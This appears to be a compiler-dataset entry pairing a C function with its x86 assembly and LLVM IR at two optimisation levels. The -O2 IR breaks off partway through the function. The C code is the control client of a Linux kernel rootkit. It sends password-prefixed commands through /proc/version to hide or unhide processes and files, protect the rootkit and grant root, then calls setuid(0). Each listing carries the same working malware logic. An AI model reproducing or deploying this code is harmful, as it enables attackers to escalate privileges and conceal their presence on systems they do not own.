#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ O_WRONLY;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ free(char *);
char *malloc(size_t);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ read(int, char *, size_t);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
int strlen(char *);
int /*<<< orphan*/ write(int, char *, size_t);
int /*<<< orphan*/ write_buffer(char **, char *, int);
void action(int root, int hide_pid, int unhide_pid, char *pid, int hide_file,
            int unhide_file, char *file, int hide, int unhide, int protect,
            int unprotect) {
  size_t buf_size = 0;
  buf_size += sizeof("password");
  if (root) {
    printf("root\n");
    buf_size += sizeof("root");
  } else if (hide_pid) {
    buf_size += sizeof("hide_pid") + strlen(pid);
  } else if (unhide_pid) {
    buf_size += sizeof("unhide_pid") + strlen(pid);
  } else if (hide_file) {
    buf_size += sizeof("hide_file") + strlen(file);
  } else if (unhide_file) {
    buf_size += sizeof("unhide_file") + strlen(file);
  } else if (hide) {
    buf_size += sizeof("hide");
  } else if (unhide) {
    buf_size += sizeof("unhide");
  } else if (protect) {
    buf_size += sizeof("protect");
  } else if (unprotect) {
    buf_size += sizeof("unprotect");
  }
  buf_size += 1;
  char *buf = malloc(buf_size);
  buf[buf_size - 1] = 0;
  char *buf_ptr = buf;
  write_buffer(&buf_ptr, "password", sizeof("password"));
  if (root) {
    write_buffer(&buf_ptr, "root", sizeof("root"));
  } else if (hide_pid) {
    write_buffer(&buf_ptr, "hide_pid", sizeof("hide_pid"));
    write_buffer(&buf_ptr, pid, strlen(pid));
  } else if (unhide_pid) {
    write_buffer(&buf_ptr, "unhide_pid", sizeof("unhide_pid"));
    write_buffer(&buf_ptr, pid, strlen(pid));
  } else if (hide_file) {
    write_buffer(&buf_ptr, "hide_file", sizeof("hide_file"));
    write_buffer(&buf_ptr, file, strlen(file));
  } else if (unhide_file) {
    write_buffer(&buf_ptr, "unhide_file", sizeof("unhide_file"));
    write_buffer(&buf_ptr, file, strlen(file));
  } else if (hide) {
    write_buffer(&buf_ptr, "hide", sizeof("hide"));
  } else if (unhide) {
    write_buffer(&buf_ptr, "unhide", sizeof("unhide"));
  } else if (protect) {
    write_buffer(&buf_ptr, "protect", sizeof("protect"));
  } else if (unprotect) {
    write_buffer(&buf_ptr, "unprotect", sizeof("unprotect"));
  }
  int fd = open("/proc/"
                "version",
                O_RDONLY);
  if (fd < 1) {
    int fd = open("/proc/"
                  "version",
                  O_WRONLY);
    if (fd < 1) {
      fprintf(stderr, "Error: Failed to open %s\n",
              "/proc/"
              "version");
      printf("Error: Failed to open %s\n", "/proc/"
                                           "version");
      exit(1);
    }
    write(fd, buf, buf_size);
  } else {
    read(fd, buf, buf_size);
  }
  close(fd);
  free(buf);
  if (root) {
    setuid(0);
  }
}


x86 assembly (clang, -O0):
<action>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
mov    0x30(%rbp),%eax
mov    0x28(%rbp),%eax
mov    0x20(%rbp),%eax
mov    0x18(%rbp),%eax
mov    0x10(%rbp),%rax
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    %edx,-0xc(%rbp)
mov    %rcx,-0x18(%rbp)
mov    %r8d,-0x1c(%rbp)
mov    %r9d,-0x20(%rbp)
movq   $0x0,-0x28(%rbp)
mov    -0x28(%rbp),%rax
add    $0x9,%rax
mov    %rax,-0x28(%rbp)
cmpl   $0x0,-0x4(%rbp)
je     122a <action+0x6a>
lea    0xdee(%rip),%rdi
mov    $0x0,%al
call   1070 <printf@plt>
mov    -0x28(%rbp),%rax
add    $0x5,%rax
mov    %rax,-0x28(%rbp)
jmp    1351 <action+0x191>
cmpl   $0x0,-0x8(%rbp)
je     1250 <action+0x90>
mov    -0x18(%rbp),%rdi
call   1060 <strlen@plt>
cltq
add    $0x9,%rax
add    -0x28(%rbp),%rax
mov    %rax,-0x28(%rbp)
jmp    134c <action+0x18c>
cmpl   $0x0,-0xc(%rbp)
je     1276 <action+0xb6>
mov    -0x18(%rbp),%rdi
call   1060 <strlen@plt>
cltq
add    $0xb,%rax
add    -0x28(%rbp),%rax
mov    %rax,-0x28(%rbp)
jmp    1347 <action+0x187>
cmpl   $0x0,-0x1c(%rbp)
je     129c <action+0xdc>
mov    0x10(%rbp),%rdi
call   1060 <strlen@plt>
cltq
add    $0xa,%rax
add    -0x28(%rbp),%rax
mov    %rax,-0x28(%rbp)
jmp    1342 <action+0x182>
cmpl   $0x0,-0x20(%rbp)
je     12c2 <action+0x102>
mov    0x10(%rbp),%rdi
call   1060 <strlen@plt>
cltq
add    $0xc,%rax
add    -0x28(%rbp),%rax
mov    %rax,-0x28(%rbp)
jmp    133d <action+0x17d>
cmpl   $0x0,0x18(%rbp)
je     12dd <action+0x11d>
mov    -0x28(%rbp),%rax
add    $0x5,%rax
mov    %rax,-0x28(%rbp)
jmp    1338 <action+0x178>
cmpl   $0x0,0x20(%rbp)
je     12f8 <action+0x138>
mov    -0x28(%rbp),%rax
add    $0x7,%rax
mov    %rax,-0x28(%rbp)
jmp    1333 <action+0x173>
cmpl   $0x0,0x28(%rbp)
je     1313 <action+0x153>
mov    -0x28(%rbp),%rax
add    $0x8,%rax
mov    %rax,-0x28(%rbp)
jmp    132e <action+0x16e>
cmpl   $0x0,0x30(%rbp)
je     1329 <action+0x169>
mov    -0x28(%rbp),%rax
add    $0xa,%rax
mov    %rax,-0x28(%rbp)
jmp    132e <action+0x16e>
jmp    1333 <action+0x173>
jmp    1338 <action+0x178>
jmp    133d <action+0x17d>
jmp    1342 <action+0x182>
jmp    1347 <action+0x187>
jmp    134c <action+0x18c>
jmp    1351 <action+0x191>
mov    -0x28(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x28(%rbp)
mov    -0x28(%rbp),%rdi
call   10b0 <malloc@plt>
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rax
mov    -0x28(%rbp),%rcx
sub    $0x1,%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x30(%rbp),%rax
mov    %rax,-0x38(%rbp)
lea    -0x38(%rbp),%rdi
lea    0xc79(%rip),%rsi
mov    $0x9,%edx
call   1050 <write_buffer@plt>
cmpl   $0x0,-0x4(%rbp)
je     13bb <action+0x1fb>
lea    -0x38(%rbp),%rdi
lea    0xc63(%rip),%rsi
mov    $0x5,%edx
call   1050 <write_buffer@plt>
jmp    157e <action+0x3be>
cmpl   $0x0,-0x8(%rbp)
je     13ff <action+0x23f>
lea    -0x38(%rbp),%rdi
lea    0xc46(%rip),%rsi
mov    $0x9,%edx
call   1050 <write_buffer@plt>
mov    -0x18(%rbp),%rax
mov    %rax,-0x48(%rbp)
mov    -0x18(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x48(%rbp),%rsi
mov    %eax,%edx
lea    -0x38(%rbp),%rdi
call   1050 <write_buffer@plt>
jmp    1579 <action+0x3b9>
cmpl   $0x0,-0xc(%rbp)
je     1443 <action+0x283>
lea    -0x38(%rbp),%rdi
lea    0xc00(%rip),%rsi
mov    $0xb,%edx
call   1050 <write_buffer@plt>
mov    -0x18(%rbp),%rax
mov    %rax,-0x50(%rbp)
mov    -0x18(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x50(%rbp),%rsi
mov    %eax,%edx
lea    -0x38(%rbp),%rdi
call   1050 <write_buffer@plt>
jmp    1574 <action+0x3b4>
cmpl   $0x0,-0x1c(%rbp)
je     1487 <action+0x2c7>
lea    -0x38(%rbp),%rdi
lea    0xbc9(%rip),%rsi
mov    $0xa,%edx
call   1050 <write_buffer@plt>
mov    0x10(%rbp),%rax
mov    %rax,-0x58(%rbp)
mov    0x10(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x58(%rbp),%rsi
mov    %eax,%edx
lea    -0x38(%rbp),%rdi
call   1050 <write_buffer@plt>
jmp    156f <action+0x3af>
cmpl   $0x0,-0x20(%rbp)
je     14cb <action+0x30b>
lea    -0x38(%rbp),%rdi
lea    0xb83(%rip),%rsi
mov    $0xc,%edx
call   1050 <write_buffer@plt>
mov    0x10(%rbp),%rax
mov    %rax,-0x60(%rbp)
mov    0x10(%rbp),%rdi
call   1060 <strlen@plt>
mov    -0x60(%rbp),%rsi
mov    %eax,%edx
lea    -0x38(%rbp),%rdi
call   1050 <write_buffer@plt>
jmp    156a <action+0x3aa>
cmpl   $0x0,0x18(%rbp)
je     14ef <action+0x32f>
lea    -0x38(%rbp),%rdi
lea    0xb4d(%rip),%rsi
mov    $0x5,%edx
call   1050 <write_buffer@plt>
jmp    1565 <action+0x3a5>
cmpl   $0x0,0x20(%rbp)
je     1513 <action+0x353>
lea    -0x38(%rbp),%rdi
lea    0xb27(%rip),%rsi
mov    $0x7,%edx
call   1050 <write_buffer@plt>
jmp    1560 <action+0x3a0>
cmpl   $0x0,0x28(%rbp)
je     1537 <action+0x377>
lea    -0x38(%rbp),%rdi
lea    0xb0c(%rip),%rsi
mov    $0x8,%edx
call   1050 <write_buffer@plt>
jmp    155b <action+0x39b>
cmpl   $0x0,0x30(%rbp)
je     1556 <action+0x396>
lea    -0x38(%rbp),%rdi
lea    0xae6(%rip),%rsi
mov    $0xa,%edx
call   1050 <write_buffer@plt>
jmp    155b <action+0x39b>
jmp    1560 <action+0x3a0>
jmp    1565 <action+0x3a5>
jmp    156a <action+0x3aa>
jmp    156f <action+0x3af>
jmp    1574 <action+0x3b4>
jmp    1579 <action+0x3b9>
jmp    157e <action+0x3be>
mov    0x2a63(%rip),%rax
mov    (%rax),%esi
lea    0xaae(%rip),%rdi
call   10c0 <open@plt>
mov    %eax,-0x3c(%rbp)
cmpl   $0x1,-0x3c(%rbp)
jge    1612 <action+0x452>
mov    0x2a21(%rip),%rax
mov    (%rax),%esi
lea    0xa8c(%rip),%rdi
call   10c0 <open@plt>
mov    %eax,-0x40(%rbp)
cmpl   $0x1,-0x40(%rbp)
jge    15fd <action+0x43d>
mov    0x2a0f(%rip),%rax
mov    (%rax),%edi
lea    0xa78(%rip),%rsi
lea    0xa63(%rip),%rdx
call   10a0 <fprintf@plt>
lea    0xa65(%rip),%rdi
lea    0xa50(%rip),%rsi
mov    $0x0,%al
call   1070 <printf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
mov    -0x40(%rbp),%edi
mov    -0x30(%rbp),%rsi
mov    -0x28(%rbp),%rdx
call   1040 <write@plt>
jmp    1622 <action+0x462>
mov    -0x3c(%rbp),%edi
mov    -0x30(%rbp),%rsi
mov    -0x28(%rbp),%rdx
call   1090 <read@plt>
mov    -0x3c(%rbp),%edi
call   1080 <close@plt>
mov    -0x30(%rbp),%rdi
call   1030 <free@plt>
cmpl   $0x0,-0x4(%rbp)
je     1644 <action+0x484>
xor    %edi,%edi
call   10e0 <setuid@plt>
add    $0x60,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<action>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x18,%rsp
mov    %rcx,%r15
mov    %esi,%r12d
mov    %edi,%r14d
mov    0x50(%rsp),%rdi
test   %r14d,%r14d
mov    %r9d,0xc(%rsp)
mov    %r8d,0x10(%rsp)
mov    %edx,0x14(%rsp)
je     1215 <action+0x45>
lea    0xe53(%rip),%rdi
call   1040 <puts@plt>
mov    $0xe,%ebp
jmp    129d <action+0xcd>
test   %r12d,%r12d
je     122b <action+0x5b>
mov    %r15,%rdi
call   1070 <strlen@plt>
movslq %eax,%rbp
add    $0x12,%rbp
jmp    129d <action+0xcd>
test   %edx,%edx
je     1240 <action+0x70>
mov    %r15,%rdi
call   1070 <strlen@plt>
movslq %eax,%rbp
add    $0x14,%rbp
jmp    129d <action+0xcd>
test   %r8d,%r8d
je     1253 <action+0x83>
call   1070 <strlen@plt>
movslq %eax,%rbp
add    $0x13,%rbp
jmp    129d <action+0xcd>
test   %r9d,%r9d
je     1266 <action+0x96>
call   1070 <strlen@plt>
movslq %eax,%rbp
add    $0x15,%rbp
jmp    129d <action+0xcd>
mov    $0xe,%ebp
cmpl   $0x0,0x58(%rsp)
jne    129d <action+0xcd>
mov    $0x10,%ebp
cmpl   $0x0,0x60(%rsp)
jne    129d <action+0xcd>
mov    $0x11,%ebp
cmpl   $0x0,0x68(%rsp)
jne    129d <action+0xcd>
cmpl   $0x0,0x70(%rsp)
mov    $0x9,%eax
mov    $0x13,%ebp
cmove  %rax,%rbp
lea    0x1(%rbp),%r13
mov    %r13,%rdi
call   10c0 <malloc@plt>
mov    %rax,%rbx
movb   $0x0,(%rax,%rbp,1)
mov    %rax,(%rsp)
lea    0xd45(%rip),%rsi
mov    %rsp,%rdi
mov    $0x9,%edx
call   1060 <write_buffer@plt>
test   %r14d,%r14d
je     12de <action+0x10e>
lea    0xd85(%rip),%rsi
mov    %rsp,%rdi
mov    $0x5,%edx
jmp    1329 <action+0x159>
test   %r12d,%r12d
je     12f7 <action+0x127>
lea    0xd21(%rip),%rsi
mov    %rsp,%rbp
mov    %rbp,%rdi
mov    $0x9,%edx
jmp    1314 <action+0x144>
cmpl   $0x0,0x14(%rsp)
je     13ac <action+0x1dc>
lea    0xd00(%rip),%rsi
mov    %rsp,%rbp
mov    %rbp,%rdi
mov    $0xb,%edx
call   1060 <write_buffer@plt>
mov    %r15,%rdi
call   1070 <strlen@plt>
mov    %rbp,%rdi
mov    %r15,%rsi
mov    %eax,%edx
call   1060 <write_buffer@plt>
mov    0x2cb3(%rip),%rax
mov    (%rax),%esi
lea    0xcf3(%rip),%rdi
call   10d0 <open@plt>
mov    %eax,%ebp
test   %eax,%eax
jle    1358 <action+0x188>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    %r13,%rdx
call   10a0 <read@plt>
jmp    1382 <action+0x1b2>
mov    0x2c69(%rip),%rax
mov    (%rax),%esi
lea    0xcc9(%rip),%rdi
call   10d0 <open@plt>
test   %eax,%eax
jle    1465 <action+0x295>
mov    %eax,%edi
mov    %rbx,%rsi
mov    %r13,%rdx
call   1050 <write@plt>
mov    %ebp,%edi
call   1090 <close@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
test   %r14d,%r14d
je     139d <action+0x1cd>
xor    %edi,%edi
call   10f0 <setuid@plt>
add    $0x18,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
cmpl   $0x0,0x10(%rsp)
je     13c7 <action+0x1f7>
lea    0xc5c(%rip),%rsi
mov    %rsp,%r15
mov    %r15,%rdi
mov    $0xa,%edx
jmp    13e0 <action+0x210>
cmpl   $0x0,0xc(%rsp)
je     13fd <action+0x22d>
lea    0xc3f(%rip),%rsi
mov    %rsp,%r15
mov    %r15,%rdi
mov    $0xc,%edx
call   1060 <write_buffer@plt>
mov    0x50(%rsp),%rbp
mov    %rbp,%rdi
call   1070 <strlen@plt>
mov    %r15,%rdi
mov    %rbp,%rsi
jmp    1327 <action+0x157>
cmpl   $0x0,0x58(%rsp)
je     1410 <action+0x240>
lea    0xc17(%rip),%rsi
jmp    12d4 <action+0x104>
cmpl   $0x0,0x60(%rsp)
je     142b <action+0x25b>
lea    0xc02(%rip),%rsi
mov    %rsp,%rdi
mov    $0x7,%edx
jmp    1329 <action+0x159>
cmpl   $0x0,0x68(%rsp)
je     1446 <action+0x276>
lea    0xbf0(%rip),%rsi
mov    %rsp,%rdi
mov    $0x8,%edx
jmp    1329 <action+0x159>
cmpl   $0x0,0x70(%rsp)
je     132e <action+0x15e>
lea    0xbcf(%rip),%rsi
mov    %rsp,%rdi
mov    $0xa,%edx
jmp    1329 <action+0x159>
mov    0x2b6c(%rip),%rax
mov    (%rax),%edi
lea    0xbca(%rip),%rbx
lea    0xbb5(%rip),%rbp
mov    %rbx,%rsi
mov    %rbp,%rdx
call   10b0 <fprintf@plt>
mov    %rbx,%rdi
mov    %rbp,%rsi
xor    %eax,%eax
call   1080 <printf@plt>
mov    $0x1,%edi
call   10e0 <exit@plt>

LLVM IR (-O0):
@.str = [6 x i8] c"root\0A\00"
@.str.1 = [9 x i8] c"password\00"
@.str.2 = [5 x i8] c"root\00"
@.str.3 = [9 x i8] c"hide_pid\00"
@.str.4 = [11 x i8] c"unhide_pid\00"
@.str.5 = [10 x i8] c"hide_file\00"
@.str.6 = [12 x i8] c"unhide_file\00"
@.str.7 = [5 x i8] c"hide\00"
@.str.8 = [7 x i8] c"unhide\00"
@.str.9 = [8 x i8] c"protect\00"
@.str.10 = [10 x i8] c"unprotect\00"
@.str.11 = [14 x i8] c"/proc/version\00"
@O_RDONLY = global i32 0
@O_WRONLY = global i32 0
@stderr = global i32 0
@.str.12 = [26 x i8] c"Error: Failed to open %s\0A\00"
define void @action(i32 %0, i32 %1, i32 %2, i8* %3, i32 %4, i32 %5, i8* %6, i32 %7, i32 %8, i32 %9, i32 %10) {
%12 = alloca i32
%13 = alloca i32
%14 = alloca i32
%15 = alloca i8*
%16 = alloca i32
%17 = alloca i32
%18 = alloca i8*
%19 = alloca i32
%20 = alloca i32
%21 = alloca i32
%22 = alloca i32
%23 = alloca i64
%24 = alloca i8*
%25 = alloca i8*
%26 = alloca i32
%27 = alloca i32
store i32 %0, i32* %12
store i32 %1, i32* %13
store i32 %2, i32* %14
store i8* %3, i8** %15
store i32 %4, i32* %16
store i32 %5, i32* %17
store i8* %6, i8** %18
store i32 %7, i32* %19
store i32 %8, i32* %20
store i32 %9, i32* %21
store i32 %10, i32* %22
store i64 0, i64* %23
%28 = load i64, i64* %23
%29 = add i64 %28, 9
store i64 %29, i64* %23
%30 = load i32, i32* %12
%31 = icmp ne i32 %30, 0
br i1 %31, label %32, label %36
32: ; preds = %11
%33 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
%34 = load i64, i64* %23
%35 = add i64 %34, 5
store i64 %35, i64* %23
br label %108
36: ; preds = %11
%37 = load i32, i32* %13
%38 = icmp ne i32 %37, 0
br i1 %38, label %39, label %46
39: ; preds = %36
%40 = load i8*, i8** %15
%41 = call i32 @strlen(i8* %40)
%42 = sext i32 %41 to i64
%43 = add i64 9, %42
%44 = load i64, i64* %23
%45 = add i64 %44, %43
store i64 %45, i64* %23
br label %107
46: ; preds = %36
%47 = load i32, i32* %14
%48 = icmp ne i32 %47, 0
br i1 %48, label %49, label %56
49: ; preds = %46
%50 = load i8*, i8** %15
%51 = call i32 @strlen(i8* %50)
%52 = sext i32 %51 to i64
%53 = add i64 11, %52
%54 = load i64, i64* %23
%55 = add i64 %54, %53
store i64 %55, i64* %23
br label %106
56: ; preds = %46
%57 = load i32, i32* %16
%58 = icmp ne i32 %57, 0
br i1 %58, label %59, label %66
59: ; preds = %56
%60 = load i8*, i8** %18
%61 = call i32 @strlen(i8* %60)
%62 = sext i32 %61 to i64
%63 = add i64 10, %62
%64 = load i64, i64* %23
%65 = add i64 %64, %63
store i64 %65, i64* %23
br label %105
66: ; preds = %56
%67 = load i32, i32* %17
%68 = icmp ne i32 %67, 0
br i1 %68, label %69, label %76
69: ; preds = %66
%70 = load i8*, i8** %18
%71 = call i32 @strlen(i8* %70)
%72 = sext i32 %71 to i64
%73 = add i64 12, %72
%74 = load i64, i64* %23
%75 = add i64 %74, %73
store i64 %75, i64* %23
br label %104
76: ; preds = %66
%77 = load i32, i32* %19
%78 = icmp ne i32 %77, 0
br i1 %78, label %79, label %82
79: ; preds = %76
%80 = load i64, i64* %23
%81 = add i64 %80, 5
store i64 %81, i64* %23
br label %103
82: ; preds = %76
%83 = load i32, i32* %20
%84 = icmp ne i32 %83, 0
br i1 %84, label %85, label %88
85: ; preds = %82
%86 = load i64, i64* %23
%87 = add i64 %86, 7
store i64 %87, i64* %23
br label %102
88: ; preds = %82
%89 = load i32, i32* %21
%90 = icmp ne i32 %89, 0
br i1 %90, label %91, label %94
91: ; preds = %88
%92 = load i64, i64* %23
%93 = add i64 %92, 8
store i64 %93, i64* %23
br label %101
94: ; preds = %88
%95 = load i32, i32* %22
%96 = icmp ne i32 %95, 0
br i1 %96, label %97, label %100
97: ; preds = %94
%98 = load i64, i64* %23
%99 = add i64 %98, 10
store i64 %99, i64* %23
br label %100
100: ; preds = %97, %94
br label %101
101: ; preds = %100, %91
br label %102
102: ; preds = %101, %85
br label %103
103: ; preds = %102, %79
br label %104
104: ; preds = %103, %69
br label %105
105: ; preds = %104, %59
br label %106
106: ; preds = %105, %49
br label %107
107: ; preds = %106, %39
br label %108
108: ; preds = %107, %32
%109 = load i64, i64* %23
%110 = add i64 %109, 1
store i64 %110, i64* %23
%111 = load i64, i64* %23
%112 = call i8* @malloc(i64 %111)
store i8* %112, i8** %24
%113 = load i8*, i8** %24
%114 = load i64, i64* %23
%115 = sub i64 %114, 1
%116 = getelementptr inbounds i8, i8* %113, i64 %115
store i8 0, i8* %116
%117 = load i8*, i8** %24
store i8* %117, i8** %25
%118 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i64 0, i64 0), i32 9)
%119 = load i32, i32* %12
%120 = icmp ne i32 %119, 0
br i1 %120, label %121, label %123
121: ; preds = %108
%122 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i64 0, i64 0), i32 5)
br label %187
123: ; preds = %108
%124 = load i32, i32* %13
%125 = icmp ne i32 %124, 0
br i1 %125, label %126, label %132
126: ; preds = %123
%127 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.3, i64 0, i64 0), i32 9)
%128 = load i8*, i8** %15
%129 = load i8*, i8** %15
%130 = call i32 @strlen(i8* %129)
%131 = call i32 @write_buffer(i8** %25, i8* %128, i32 %130)
br label %186
132: ; preds = %123
%133 = load i32, i32* %14
%134 = icmp ne i32 %133, 0
br i1 %134, label %135, label %141
135: ; preds = %132
%136 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.4, i64 0, i64 0), i32 11)
%137 = load i8*, i8** %15
%138 = load i8*, i8** %15
%139 = call i32 @strlen(i8* %138)
%140 = call i32 @write_buffer(i8** %25, i8* %137, i32 %139)
br label %185
141: ; preds = %132
%142 = load i32, i32* %16
%143 = icmp ne i32 %142, 0
br i1 %143, label %144, label %150
144: ; preds = %141
%145 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.5, i64 0, i64 0), i32 10)
%146 = load i8*, i8** %18
%147 = load i8*, i8** %18
%148 = call i32 @strlen(i8* %147)
%149 = call i32 @write_buffer(i8** %25, i8* %146, i32 %148)
br label %184
150: ; preds = %141
%151 = load i32, i32* %17
%152 = icmp ne i32 %151, 0
br i1 %152, label %153, label %159
153: ; preds = %150
%154 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0), i32 12)
%155 = load i8*, i8** %18
%156 = load i8*, i8** %18
%157 = call i32 @strlen(i8* %156)
%158 = call i32 @write_buffer(i8** %25, i8* %155, i32 %157)
br label %183
159: ; preds = %150
%160 = load i32, i32* %19
%161 = icmp ne i32 %160, 0
br i1 %161, label %162, label %164
162: ; preds = %159
%163 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.7, i64 0, i64 0), i32 5)
br label %182
164: ; preds = %159
%165 = load i32, i32* %20
%166 = icmp ne i32 %165, 0
br i1 %166, label %167, label %169
167: ; preds = %164
%168 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.8, i64 0, i64 0), i32 7)
br label %181
169: ; preds = %164
%170 = load i32, i32* %21
%171 = icmp ne i32 %170, 0
br i1 %171, label %172, label %174
172: ; preds = %169
%173 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.9, i64 0, i64 0), i32 8)
br label %180
174: ; preds = %169
%175 = load i32, i32* %22
%176 = icmp ne i32 %175, 0
br i1 %176, label %177, label %179
177: ; preds = %174
%178 = call i32 @write_buffer(i8** %25, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i64 0, i64 0), i32 10)
br label %179
179: ; preds = %177, %174
br label %180
180: ; preds = %179, %172
br label %181
181: ; preds = %180, %167
br label %182
182: ; preds = %181, %162
br label %183
183: ; preds = %182, %153
br label %184
184: ; preds = %183, %144
br label %185
185: ; preds = %184, %135
br label %186
186: ; preds = %185, %126
br label %187
187: ; preds = %186, %121
%188 = load i32, i32* @O_RDONLY
%189 = call i32 @open(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0), i32 %188)
store i32 %189, i32* %26
%190 = load i32, i32* %26
%191 = icmp slt i32 %190, 1
br i1 %191, label %192, label %207
192: ; preds = %187
%193 = load i32, i32* @O_WRONLY
%194 = call i32 @open(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0), i32 %193)
store i32 %194, i32* %27
%195 = load i32, i32* %27
%196 = icmp slt i32 %195, 1
br i1 %196, label %197, label %202
197: ; preds = %192
%198 = load i32, i32* @stderr
%199 = call i32 @fprintf(i32 %198, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.12, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0))
%200 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.12, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0))
%201 = call i32 @exit(i32 1)
unreachable
202: ; preds = %192
%203 = load i32, i32* %27
%204 = load i8*, i8** %24
%205 = load i64, i64* %23
%206 = call i32 @write(i32 %203, i8* %204, i64 %205)
br label %212
207: ; preds = %187
%208 = load i32, i32* %26
%209 = load i8*, i8** %24
%210 = load i64, i64* %23
%211 = call i32 @read(i32 %208, i8* %209, i64 %210)
br label %212
212: ; preds = %207, %202
%213 = load i32, i32* %26
%214 = call i32 @close(i32 %213)
%215 = load i8*, i8** %24
%216 = call i32 @free(i8* %215)
%217 = load i32, i32* %12
%218 = icmp ne i32 %217, 0
br i1 %218, label %219, label %221
219: ; preds = %212
%220 = call i32 @setuid(i32 0)
br label %221
221: ; preds = %219, %212
ret void
}

LLVM IR (-O2):
@.str.1 = [9 x i8] c"password\00"
@.str.3 = [9 x i8] c"hide_pid\00"
@.str.4 = [11 x i8] c"unhide_pid\00"
@.str.5 = [10 x i8] c"hide_file\00"
@.str.6 = [12 x i8] c"unhide_file\00"
@.str.7 = [5 x i8] c"hide\00"
@.str.8 = [7 x i8] c"unhide\00"
@.str.9 = [8 x i8] c"protect\00"
@.str.10 = [10 x i8] c"unprotect\00"
@.str.11 = [14 x i8] c"/proc/version\00"
@O_RDONLY = global i32 0
@O_WRONLY = global i32 0
@stderr = global i32 0
@.str.12 = [26 x i8] c"Error: Failed to open %s\0A\00"
@str = [5 x i8] c"root\00"
define void @action(i32 %0, i32 %1, i32 %2, i8* %3, i32 %4, i32 %5, i8* %6, i32 %7, i32 %8, i32 %9, i32 %10) {
%12 = alloca i8*
%13 = icmp eq i32 %0, 0
br i1 %13, label %16, label %14
14: ; preds = %11
%15 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([5 x i8], [5 x i8]* @str, i64 0, i64 0))
br label %49
16: ; preds = %11
%17 = icmp eq i32 %1, 0
br i1 %17, label %22, label %18
18: ; preds = %16
%19 = tail call i32 @strlen(i8* %3)
%20 = sext i32 %19 to i64
%21 = add nsw i64 %20, 18
br label %49
22: ; preds = %16
%23 = icmp eq i32 %2, 0
br i1 %23, label %28, label %24
24: ; preds = %22
%25 = tail call i32 @strlen(i8* %3)
%26 = sext i32 %25 to i64
%27 = add nsw i64 %26, 20
br label %49
28: ; preds = %22
%29 = icmp eq i32 %4, 0
br i1 %29, label %34, label %30
30: ; preds = %28
%31 = tail call i32 @strlen(i8* %6)
%32 = sext i32 %31 to i64
%33 = add nsw i64 %32, 19
br label %49
34: ; preds = %28
%35 = icmp eq i32 %5, 0
br i1 %35, label %40, label %36
36: ; preds = %34
%37 = tail call i32 @strlen(i8* %6)
%38 = sext i32 %37 to i64
%39 = add nsw i64 %38, 21
br label %49
40: ; preds = %34
%41 = icmp eq i32 %7, 0
br i1 %41, label %42, label %49
42: ; preds = %40
%43 = icmp eq i32 %8, 0
br i1 %43, label %44, label %49
44: ; preds = %42
%45 = icmp eq i32 %9, 0
br i1 %45, label %46, label %49
46: ; preds = %44
%47 = icmp eq i32 %10, 0
%48 = select i1 %47, i64 9, i64 19
br label %49
49: ; preds = %46, %44, %42, %40, %18, %30, %36, %24, %14
%50 = phi i64 [ 14, %14 ], [ %21, %18 ], [ %27, %24 ], [ %33, %30 ], [ %39, %36 ], [ 14, %40 ], [ 16, %42 ], [ 17, %44 ], [ %48, %46 ]
%51 = add nsw i64 %50, 1
%52 = tail call i8* @malloc(i64 %51)
%53 = getelementptr inbounds i8, i8* %52, i64 %50
store i8 0, i8* %53
%54 = bitcast i8** %12 to i8*
store i8* %52, i8** %12
